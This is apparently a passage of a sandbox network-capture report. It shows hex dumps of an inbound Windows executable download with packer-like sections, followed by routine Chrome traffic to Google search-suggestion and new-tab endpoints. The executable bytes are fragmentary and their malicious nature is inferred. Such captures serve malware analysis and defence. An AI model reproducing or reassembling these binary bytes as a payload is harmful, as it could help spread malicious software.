00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 43 c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 43 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2`J@C@ _qsCLC px'@.rsrc p'@.idata q'@ @9q'@cnerrpdgP'@lnaxhdwzPC@.taggant0`"C@
Nov 25, 2024 18:30:11.076530933 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:30:11.076565027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:30:11.076598883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:30:11.076672077 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:30:11.076708078 CET	1236	IN	Data Raw: 85 18 ff 9f fd a8 31 d9 10 14 b9 e7 fd 38 ae 3a c7 eb 2d f5 f9 a5 5c 89 44 0f 56 6c db 76 c4 ab 44 f4 20 ed 15 7f c3 6c 64 a4 ed bc dd dd 4a b9 0b d3 3a 20 17 3f be 3a 00 f9 7a 85 25 bc 10 c1 0c 16 36 25 ce 3d 15 f2 33 6a c1 91 4c a2 a7 48 d3 23 Data Ascii: 18:-\DVlvD ldJ: ?:z%6%=3jLH#>eWdgL?&i<Be$+;VX=I}@WQgtAvP'P3.J<mGn<nz-g*?@8N;S/M!8DNy=viMzfW K%UnN
Nov 25, 2024 18:30:11.076746941 CET	224	IN	Data Raw: a1 52 02 5a cc de ff b1 b1 dc b8 26 18 2a fb 4e f1 7e 33 34 fb e3 dd 6b f7 1c 97 f5 a7 59 72 fd 74 9e 27 05 e1 c1 bf 7b 2c c5 5c 21 11 7f 49 aa c4 ea ca 98 73 57 4d c1 45 6e 27 2d d0 78 06 65 0b c8 7d 25 b8 38 18 a6 d7 85 43 93 cc 85 7a ee da 87 Data Ascii: RZ&N~34kYrt'{,\!IsWMEn'-xe}%8CzE29ml\]bY84Z3(Q\;>&7Um#SORM"^v%GQlCBJB]/7qYAguTe:zSoV2
Nov 25, 2024 18:30:11.076788902 CET	1236	IN	Data Raw: 11 1d 55 ad 86 6c 17 21 5c 25 3a af a1 6d 3e 3a 05 ee 6d ac 9d 59 6c 07 8c 62 79 fe 8d 5d 1a 2d ce e2 48 45 c9 5f f8 11 d1 52 ae ec 68 ab 4b 81 f3 db 4f da a6 3e 87 dc 20 83 7d c2 4c d2 db 88 64 e4 e8 f0 6b ad 65 f4 ea 5b 2a 2b 30 0d cf d7 e4 4e Data Ascii: Ul!\%:m>:mYlby]-HE_RhKO> }Ldke[*+0NT&T>`-g)/.o\|?_M"&sN=)=R&N$~TTc%6Nw:P{C(ELePv+NI=s&~8MJ3Za
Nov 25, 2024 18:30:11.076829910 CET	1236	IN	Data Raw: ef d2 71 a5 bb ff cd a5 01 4e f3 17 cc c1 02 7a 13 7e 07 a3 86 12 bb b0 0f 29 46 f1 09 4b 0e 7a cc 15 54 e5 07 3b b8 6b db 56 17 21 e0 42 0d a9 1a 4c 4e 6b 3b d3 26 bd e4 42 46 86 c2 73 2e 1d f9 a6 80 05 c6 0b 42 66 cc 92 2e b9 22 15 bd 40 1a 40 Data Ascii: qNz~)FKzT;kV!BLNk;&BFs.Bf."@@>UO.=3!T] bDcC8k7X}PSkb9LsQ6%ChUO\gz[ovNr6Azpn_:@)fZ?~<4\aQm?hWZ
Nov 25, 2024 18:30:11.076864958 CET	448	IN	Data Raw: e8 9e ae dd d5 69 ce 83 21 a3 a5 90 cc af 43 a5 1d 10 54 c2 2c 44 54 bc 05 1f 42 9b 6b 52 b6 8d 1c 8b 26 73 26 09 9f 5b 02 2c 8a e0 be 05 57 f1 46 30 56 b9 49 13 89 f7 e1 3e ef d8 3c 82 42 61 43 7e 51 e4 4e f0 af 4d 4f 8a 2e 3d 95 84 93 cc ab 34 Data Ascii: i!CT,DTBkR&s&[,WF0VI><BaC~QNMO.=4gu32d_^U%=7WvK!>@zbWCgmCSK5C-{L*M6NQV0ZC7 $J\Vb?J"rs`qfhqb7
Nov 25, 2024 18:30:11.197549105 CET	1236	IN	Data Raw: 1e db 2e f4 2c fc 21 ab 6b 66 bd 6f 94 a4 c1 50 aa 1e 24 dc cc 08 71 e3 d9 52 16 2a f0 2f b5 77 8e 7d d5 9b 08 59 fe bc 05 72 fd 5e 57 bc ca f2 4a 97 8b e1 50 fa 16 aa 1b a6 31 60 d6 66 07 96 e5 5f 33 fd d8 2d 2b 31 02 43 b5 3b cc 69 e4 4c 71 8e Data Ascii: .,!kfoP$qR*/w}Yr^WJP1`f_3-+1C;iLq:GG3XCA&9 pTcFac+/,Y!JFlm>BKG>K~9f?O^['nRl^]Z_Jx4{RI;;kf4"r

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	142.250.181.68	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:18 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 17:28:19 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:19 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-N9QxkojJ5J4aN5Khbb5Vbw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 17:28:19 UTC	124	IN	Data Raw: 62 31 30 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 74 65 78 61 73 20 61 5c 75 30 30 32 36 6d 20 61 67 67 69 65 73 20 66 6f 6f 74 62 61 6c 6c 22 2c 22 62 6f 6c 64 20 61 6e 64 20 62 65 61 75 74 69 66 75 6c 20 73 70 6f 69 6c 65 72 73 20 6e 6f 76 65 6d 62 65 72 20 32 35 22 2c 22 6d 63 64 6f 6e 61 6c 64 73 20 6d 63 76 61 6c 75 65 20 6d 65 61 6c 22 2c 22 64 72 69 6e 6b 69 6e 67 Data Ascii: b10)]}'["",["texas a\u0026m aggies football","bold and beautiful spoilers november 25","mcdonalds mcvalue meal","drinking
2024-11-25 17:28:19 UTC	1390	IN	Data Raw: 20 77 61 74 65 72 20 63 68 65 6d 69 63 61 6c 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 66 6f 72 74 75 6e 65 20 66 65 61 73 74 20 72 65 77 61 72 64 73 22 2c 22 77 69 63 6b 65 64 20 6d 6f 76 69 65 20 73 74 72 65 61 6d 69 6e 67 22 2c 22 65 61 67 6c 65 73 20 76 73 20 72 61 6d 73 20 62 65 74 74 69 6e 67 20 6f 64 64 73 22 2c 22 61 6d 65 72 69 63 61 6e 20 61 69 72 6c 69 6e 65 73 20 62 6f 61 72 64 69 6e 67 20 67 61 74 65 20 6c 69 63 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 Data Ascii: water chemical","monopoly go fortune feast rewards","wicked movie streaming","eagles vs rams betting odds","american airlines boarding gate lice"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEw
2024-11-25 17:28:19 UTC	1325	IN	Data Raw: 4d 46 46 4b 51 57 77 72 62 33 68 42 55 69 39 44 55 6b 52 33 54 6c 56 43 52 6b 56 71 4d 56 41 30 61 30 70 4c 4d 30 46 42 52 47 31 70 4e 6b 78 5a 51 30 68 71 51 6b 52 44 51 58 4e 59 5a 6d 68 4a 5a 55 64 76 51 6e 64 77 64 56 70 73 56 6b 70 44 54 6c 70 48 64 6d 4e 43 62 31 46 31 64 31 52 78 5a 32 30 77 52 44 4e 74 55 6a 63 33 54 58 5a 57 52 45 31 43 62 57 74 4c 62 57 39 42 4d 47 64 4a 4e 55 35 6b 53 33 55 31 52 45 31 42 56 30 78 43 59 6b 74 53 59 6b 46 42 5a 79 74 4a 4b 31 70 6e 62 79 39 44 55 58 6c 74 59 30 46 56 54 56 64 4e 55 6e 67 7a 51 55 46 56 53 6c 68 53 52 56 6f 33 51 30 64 6a 4d 55 49 30 5a 7a 56 4e 4e 6d 74 48 51 55 6b 31 4f 45 52 72 62 54 64 79 4d 54 42 74 55 6a 64 50 5a 30 78 36 57 6c 4e 69 61 6a 46 42 52 7a 49 31 55 33 46 48 53 31 4e 73 55 47 49 Data Ascii: MFFKQWwrb3hBUi9DUkR3TlVCRkVqMVA0a0pLM0FBRG1pNkxZQ0hqQkRDQXNYZmhJZUdvQndwdVpsVkpDTlpHdmNCb1F1d1RxZ20wRDNtUjc3TXZWRE1CbWtLbW9BMGdJNU5kS3U1RE1BV0xCYktSYkFBZytJK1pnby9DUXltY0FVTVdNUngzQUFVSlhSRVo3Q0djMUI0ZzVNNmtHQUk1OERrbTdyMTBtUjdPZ0x6WlNiajFBRzI1U3FHS1NsUGI
2024-11-25 17:28:19 UTC	101	IN	Data Raw: 35 66 0d 0a 51 6b 46 6e 56 55 4e 43 51 55 31 48 51 6d 64 4e 51 55 46 42 51 55 46 42 51 55 56 44 51 58 64 52 55 6b 46 42 56 56 4e 4a 56 45 56 55 55 56 46 5a 61 56 56 58 52 56 56 4e 62 30 56 71 59 31 70 48 65 48 64 6b 52 6c 4e 6a 62 30 74 6f 4f 46 42 46 56 6b 70 56 54 43 39 34 51 55 46 68 51 56 46 0d 0a Data Ascii: 5fQkFnVUNCQU1HQmdNQUFBQUFBQUVDQXdRUkFBVVNJVEVUUVFZaVVXRVVNb0VqY1pHeHdkRlNjb0toOFBFVkpVTC94QUFhQVF
2024-11-25 17:28:19 UTC	1390	IN	Data Raw: 31 31 33 61 0d 0a 42 52 45 46 52 52 55 4a 42 55 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 44 51 58 64 52 51 6b 46 42 56 55 63 76 4f 46 46 42 54 48 68 46 51 55 46 6e 53 55 4a 42 64 30 46 4b 51 6b 46 4a 51 30 46 33 51 55 46 42 51 55 46 42 51 56 46 4a 51 55 56 52 54 56 4e 4a 56 45 56 46 52 54 42 47 55 6c 6c 59 52 30 4a 72 5a 6b 46 70 62 32 4a 49 55 6b 31 7a 52 57 6f 34 55 6c 4a 44 4e 47 59 76 59 55 46 42 64 30 52 42 55 55 46 44 52 56 46 4e 55 6b 46 45 4f 45 45 79 56 45 78 7a 65 47 39 4c 62 55 56 50 59 55 35 5a 53 32 56 34 64 6b 78 6c 4e 6e 4a 69 4d 55 38 30 52 31 42 76 63 33 56 4d 53 57 68 76 54 6c 70 75 61 7a 52 7a 63 55 31 51 4e 44 42 4a 52 47 31 74 57 54 6c 6a 65 55 35 55 56 6e 4e 6a 54 31 68 6e 59 55 5a 73 4e 69 74 72 54 58 67 30 63 31 4a 36 Data Ascii: 113aBREFRRUJBUUFBQUFBQUFBQUFBQUFDQXdRQkFBVUcvOFFBTHhFQUFnSUJBd0FKQkFJQ0F3QUFBQUFBQVFJQUVRTVNJVEVFRTBGUllYR0JrZkFpb2JIUk1zRWo4UlJDNGYvYUFBd0RBUUFDRVFNUkFEOEEyVExzeG9LbUVPYU5ZS2V4dkxlNnJiMU80R1Bvc3VMSWhvTlpuazRzcU1QNDBJRG1tWTljeU5UVnNjT1hnYUZsNitrTXg0c1J6
2024-11-25 17:28:19 UTC	1390	IN	Data Raw: 75 4e 57 5a 74 54 46 52 56 4d 47 4d 77 4e 7a 46 6a 56 54 46 68 63 33 4e 79 51 58 5a 55 55 6a 46 4d 65 45 74 77 4d 6b 45 34 4d 6d 35 36 53 44 5a 70 4d 7a 6c 7a 54 6d 52 31 63 69 74 6f 61 55 35 32 54 44 6b 76 4d 55 39 34 5a 33 51 35 55 55 68 4e 54 6e 45 32 4d 48 56 71 57 6d 4d 78 56 6c 5a 61 62 6c 4e 6e 54 45 70 78 59 30 56 49 56 30 51 31 5a 30 68 72 63 7a 6c 6e 5a 45 35 70 64 6a 6b 33 4e 47 78 57 56 33 5a 79 51 6c 4e 75 4e 54 4a 45 59 6a 4e 73 52 45 56 6d 65 44 4e 51 65 6e 68 73 54 57 70 70 55 30 46 53 65 46 49 76 51 33 6c 7a 52 44 41 72 61 32 39 56 53 57 64 30 59 7a 4e 43 63 7a 4e 6a 62 47 70 5a 57 44 64 42 57 58 68 53 63 47 5a 58 52 48 46 49 61 6a 67 79 4f 48 51 76 54 7a 56 36 56 56 4a 77 63 57 39 73 52 32 52 6c 53 57 4e 31 62 6b 4a 77 63 7a 4a 6c 5a 46 Data Ascii: uNWZtTFRVMGMwNzFjVTFhc3NyQXZUUjFMeEtwMkE4Mm56SDZpMzlzTmR1citoaU52TDkvMU94Z3Q5UUhNTnE2MHVqWmMxVlZablNnTEpxY0VIV0Q1Z0hrczlnZE5pdjk3NGxWV3ZyQlNuNTJEYjNsREVmeDNQenhsTWppU0FSeFIvQ3lzRDAra29VSWd0YzNCczNjbGpZWDdBWXhScGZXRHFIajgyOHQvTzV6VVJwcW9sR2RlSWN1bkJwczJlZF
2024-11-25 17:28:19 UTC	1390	IN	Data Raw: 6d 52 58 54 58 52 69 53 47 4a 6e 56 48 46 5a 54 48 52 36 51 30 46 34 5a 47 64 6e 57 6b 78 58 4d 33 55 35 4f 58 59 79 65 46 56 49 54 45 68 54 55 48 70 47 59 56 46 4f 4e 55 4a 48 53 6b 34 77 59 55 70 46 51 6e 4e 4d 52 47 35 44 4d 46 70 70 59 6b 4a 42 52 55 70 6e 54 7a 42 48 4e 46 68 56 55 47 39 71 61 6d 56 47 5a 47 55 35 63 6d 68 33 54 31 42 68 4f 58 67 35 55 6d 6c 71 53 6d 78 76 5a 30 6c 4d 61 56 56 52 62 6d 52 71 53 55 70 4c 55 31 45 77 63 32 4a 44 4c 30 39 73 5a 32 49 76 55 56 6b 31 57 45 6f 7a 57 56 59 35 4e 58 68 59 63 30 4a 73 61 54 46 5a 63 31 4e 4a 62 6c 63 7a 54 6e 68 36 5a 32 68 75 53 45 35 48 52 44 46 53 4e 7a 52 45 56 31 70 71 53 55 35 4b 61 48 56 30 63 6d 68 6e 64 7a 56 34 52 6a 42 75 63 48 4a 44 61 57 74 76 65 47 52 49 57 43 39 30 53 57 6c 74 Data Ascii: mRXTXRiSGJnVHFZTHR6Q0F4ZGdnWkxXM3U5OXYyeFVITEhTUHpGYVFONUJHSk4wYUpFQnNMRG5DMFppYkJBRUpnTzBHNFhVUG9qamVGZGU5cmh3T1BhOXg5UmlqSmxvZ0lMaVVRbmRqSUpLU1Ewc2JDL09sZ2IvUVk1WEozWVY5NXhYc0JsaTFZc1NJblczTnh6Z2huSE5HRDFSNzREV1pqSU5KaHV0cmhndzV4RjBucHJDaWtveGRIWC90SWlt
2024-11-25 17:28:19 UTC	248	IN	Data Raw: 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: 6,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["ENTITY","QUERY","QUERY","ENTITY","QUERY","QUERY","QUERY","QUERY"]}]
2024-11-25 17:28:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	142.250.181.68	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:18 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	142.250.181.68	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:18 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 17:28:19 UTC	1018	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 17:28:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 17:28:19 UTC	372	IN	Data Raw: 33 33 37 65 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 337e)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-25 17:28:19 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-25 17:28:19 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-25 17:28:19 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
